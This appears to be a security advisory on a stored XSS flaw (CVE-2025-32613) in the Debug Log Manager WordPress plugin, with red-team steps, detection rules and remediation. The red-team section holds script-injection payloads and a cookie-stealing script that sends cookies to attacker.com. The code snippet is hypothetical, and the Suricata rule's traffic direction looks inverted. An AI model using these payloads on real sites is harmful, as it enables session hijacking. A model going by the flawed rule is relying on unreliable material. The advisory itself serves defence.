CVE-2025-32613

Executive Summary

CVE-2025-32613 is a Stored Cross-Site Scripting (XSS) vulnerability in the Debug Log Manager WordPress plugin, developed by Bowo. The vulnerability affects all versions from n/a through 2.3.4. It allows an authenticated attacker with low privileges to inject malicious scripts into web pages, which are then stored and executed in the browsers of other users (including administrators). This can lead to session hijacking, credential theft, or defacement. The CVSS score is 7.1 (High), and no patch is currently available. The EPSS score is 0.0%, indicating low exploitation likelihood at this time, but the risk remains significant due to the stored nature of the attack.

Supply Chain & Package Security

This vulnerability resides in a WordPress plugin distributed via the official WordPress plugin repository. Users who have installed the plugin from the WordPress dashboard or via direct download are affected. No package manager (NPM, PyPI, Go, Ruby) is involved. The plugin is not open-source in the traditional sense (no GitHub advisory), so supply chain verification is limited.

CVSS Breakdown & Threat Level

• CVSS Score: 7.1 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): Low – Attacker needs a subscriber-level or higher account.
• User Interaction (UI): Required – The victim must visit the affected page.
• Scope (S): Changed – The injected script can affect resources beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure possible.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): Low – Limited impact on service availability.

Threat Level: High. Stored XSS in a WordPress plugin can lead to full site compromise if an administrator views the malicious content.

Deep Dive & Mechanics

The vulnerability exists in the Debug Log Manager plugin, which provides a dashboard interface for viewing and managing WordPress debug logs. The plugin fails to properly sanitize user-supplied input when displaying log entries or configuration settings. An attacker can inject malicious JavaScript into a log entry (e.g., via a crafted HTTP request that generates a log line) or into a plugin setting field. When an administrator or other user views the log page, the injected script executes in their browser context.

Root Cause: The plugin uses echo or print functions to output user-controlled data without applying WordPress's built-in escaping functions like esc_html() or wp_kses_post(). This allows arbitrary HTML and JavaScript to be rendered.

Attack Flow:

1. Attacker logs in with a low-privilege account (e.g., subscriber).
2. Attacker crafts a malicious log entry by sending a request that includes a JavaScript payload in a parameter that gets logged (e.g., ?log=alert(document.cookie)).
3. The plugin stores this log entry in the database.
4. An administrator visits the Debug Log Manager page.
5. The stored payload executes, stealing the admin's session cookie or performing actions on their behalf.

Vulnerable vs. Patched Code

Since no patch is available, we can only describe the vulnerable pattern. A typical vulnerable code snippet might look like:

// Vulnerable code in debug-log-manager.php
echo '<div class="log-entry">' . $log_message . '</div>';

The patched version should use:

// Patched code
echo '<div class="log-entry">' . esc_html( $log_message ) . '</div>';

The esc_html() function converts special characters to HTML entities, preventing script execution.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with Debug Log Manager plugin version <= 2.3.4 installed and activated.
• A low-privilege user account (e.g., subscriber).

Exploitation Steps:

1. Log in as the low-privilege user.
2. Navigate to the Debug Log Manager page (typically /wp-admin/admin.php?page=debug-log-manager).
3. If the plugin allows adding custom log entries via a form, inject the following payload into the log message field:

   <script>alert('XSS');</script>
   

4. If the plugin logs HTTP request parameters, send a request with a malicious parameter:

   GET /wp-admin/admin.php?page=debug-log-manager&log=<script>alert('XSS')</script>
   

5. Wait for an administrator to visit the page. The script will execute.

Advanced Payload (Cookie Stealing):

<script>
fetch('https://attacker.com/steal?cookie=' + document.cookie);
</script>

Blue Team (Defensive)

Detection:

• Monitor for unusual log entries containing <script> tags or event handlers like onerror, onload.
• Use a Web Application Firewall (WAF) to block common XSS patterns in log parameters.
• Restrict access to the Debug Log Manager page to administrators only.

Hunting:

• Search the WordPress database for stored XSS payloads in the wp_options or custom plugin tables.
• Look for HTTP requests to the plugin's admin page with suspicious query strings.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/debug-log-manager/debug-log-manager.php (or similar main plugin file)
• Database entries: Rows in wp_options or plugin-specific tables containing <script> tags.
• Network traffic: Outbound requests to attacker-controlled domains from the WordPress admin panel.
• Log entries: Unusual log messages containing HTML/JavaScript.

Detection Engineering

YARA Rule

rule Detect_Debug_Log_Manager_XSS {
    meta:
        description = "Detects stored XSS payloads in Debug Log Manager plugin logs"
        author = "Valters IT"
        date = "2025-04-17"
        reference = "CVE-2025-32613"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
        $plugin = "debug-log-manager"
    condition:
        any of ($xss*) and $plugin
}

Sigma Rule

title: Stored XSS in Debug Log Manager Plugin
id: 8f4a2b1c-3d5e-4f7a-9b8c-1d2e3f4a5b6c
status: experimental
description: Detects stored XSS attempts in Debug Log Manager plugin logs
author: Valters IT
date: 2025-04-17
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        c-uri|contains: '/wp-admin/admin.php?page=debug-log-manager'
        cs-uri-query|contains: 
            - '<script'
            - 'onerror='
            - 'onload='
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in log messages (unlikely)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-32613 Debug Log Manager Stored XSS Attempt"; flow:to_server,established; content:"/wp-admin/admin.php"; http_uri; content:"page=debug-log-manager"; http_uri; pcre:"/(<script|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the plugin until a patch is released.
2. Restrict access to the Debug Log Manager page to administrators only using a plugin like "User Role Editor" or custom .htaccess rules.
3. Implement a Web Application Firewall (WAF) rule to block XSS patterns in log-related parameters.

Long-Term Fix:

• The vendor (Bowo) must release a patched version that properly escapes output using esc_html() or wp_kses_post().
• Users should monitor the WordPress plugin repository for updates.

Workaround:

• If the plugin cannot be disabled, manually edit the plugin file to add escaping functions (not recommended for non-developers).

Valters IT
Securing WordPress, One Plugin at a Time